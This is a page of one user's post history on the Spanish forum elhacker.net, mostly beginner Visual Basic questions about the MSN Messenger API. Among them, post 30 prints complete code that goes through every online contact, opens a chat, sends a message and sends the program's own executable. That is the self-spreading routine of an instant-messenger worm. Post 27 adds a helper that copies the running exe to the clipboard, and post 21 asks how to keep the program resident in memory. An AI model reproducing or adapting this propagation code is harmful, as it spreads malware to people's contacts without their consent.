elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7
21  Programación / Programación Visual Basic / Dejar el programa ejecutandose en memoria en: 29 Enero 2009, 18:09 pm
Estuve leyendo en muchos sitios y resulta que no sé como dejar mi programa residente...

Tal vez ustedes me puedan ayudar con este problema..

El objetivo es que el programa este todo el reto ejecutandose de manera que cuando se cumpla una condicion haga algo.. como enviar un mensaje, etc..

me podeis ayudar? gracias
22  Programación / Programación Visual Basic / Re: Progrma que dice estado del MSN en: 15 Marzo 2008, 11:44 am
bueno, no tuve intención de hacer algo muy muy elaborado tampoco.. era solo para iniciarme con la API del msn... ya haré algo más complejo!!
23  Programación / Programación Visual Basic / Progrma que dice estado del MSN en: 14 Marzo 2008, 22:55 pm
Bueno, gracias a la ayuda de todos vosotros he elaborado un simple programa (en vb por supuesto xD)  que te dice cual es el estado actual del messenger en el momento en que se ejecuta.

Os dejo el codigo y el enlace al archivo:

Código:
Public WithEvents MSN As Messenger

Private Sub Form_Load()
On Error Resume Next
Me.Hide
Set MSN = New Messenger
If MSN.MyStatus = MISTATUS_INVISIBLE Then
MsgBox "Tu estado actual en el Messenger es No Conectado", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_AWAY Then
MsgBox "Tu estado actual en el Messenger es Ausente", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_OFFLINE Then
MsgBox "No has iniciado sesión en Messenger", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_ONLINE Then
MsgBox "Tu estado actual en el Messenger es Conectado", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_BE_RIGHT_BACK Then
MsgBox "Tu estado actual en el Messenger es Vuelvo Enseguida", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_BUSY Then
MsgBox "Tu estado actual en el Messenger es No Disponible", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_OUT_TO_LUNCH Then
MsgBox "Tu estado actual en el Messenger es Salí A Comer", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
If MSN.MyStatus = MISTATUS_ON_THE_PHONE Then
MsgBox "Tu estado actual en el Messenger es Al Teléfono", vbInformation, "MSN ESTADO 1.0 bY fEr"
End If
End Sub

Enlace:

http://www.megaupload.com/es/?d=R1PZWQXH

Un saludo
24  Programación / Scripting / Re: PEQUEÑO ENCRIPTADOR EN BATCH en: 13 Marzo 2008, 23:18 pm
no me va...
25  Programación / Programación Visual Basic / Re: duda tonta... en: 13 Marzo 2008, 22:33 pm
lo agrego al modulo pero me dice:

"Compile Error: Only valid in object module"

Que significa esto???
26  Programación / Programación Visual Basic / duda tonta... en: 13 Marzo 2008, 21:25 pm
Va a parecer absurdo pero no se donde se deben colocar las declaraciones de API... me lo podeis explicar???

yo pongo esto pero me da error:

Public WithEvents MSN As Messenger

Private Sub Form_Load()
Set MSN = New Messenger
MsgBox MSN.MyStatus
End Sub
27  Programación / Programación Visual Basic / Re: Duda con enviar archivos por MSN en: 13 Marzo 2008, 20:33 pm
muchas gracias por todo..

Sigo sin conseguirlo.
Me da error Sub or Function not defined en la linea que pone Clipboard...

Aqui esta el code que llevo (de momento, copiaría el archivo y abriria la ventana para pegarse alli, que no se tampoco cual es la funcion... probe con PasteClipboard xD)

Private Sub CmdCopiarArchivo_Click()
On Error GoTo error1
Me.Hide
Dim Cadena As String
Cadena = App.Path & "/" & App.EXEName & ".exe"
CopyClipboard Me.hWnd, Array(Cadena)
AppActivate "Conversación"
error1:
End Sub
28  Programación / Programación Visual Basic / Re: Duda con enviar archivos por MSN en: 10 Marzo 2008, 08:40 am
vale, pero me podeis decir como se copia al portapapeles en VB???
soy principiante y no entiendo mucho...
29  Programación / Programación Visual Basic / Re: Duda con enviar archivos por MSN en: 10 Marzo 2008, 00:04 am
vale, y como se hace eso???
30  Programación / Programación Visual Basic / Re: Duda con enviar archivos por MSN en: 9 Marzo 2008, 23:48 pm
Este es el codigo entero:

Código:
Private Sub Form_Load()
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
End If
Next
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
End Sub

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub

Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim fWindowText As Object
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0))
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function
Páginas: 1 2 [3] 4 5 6 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines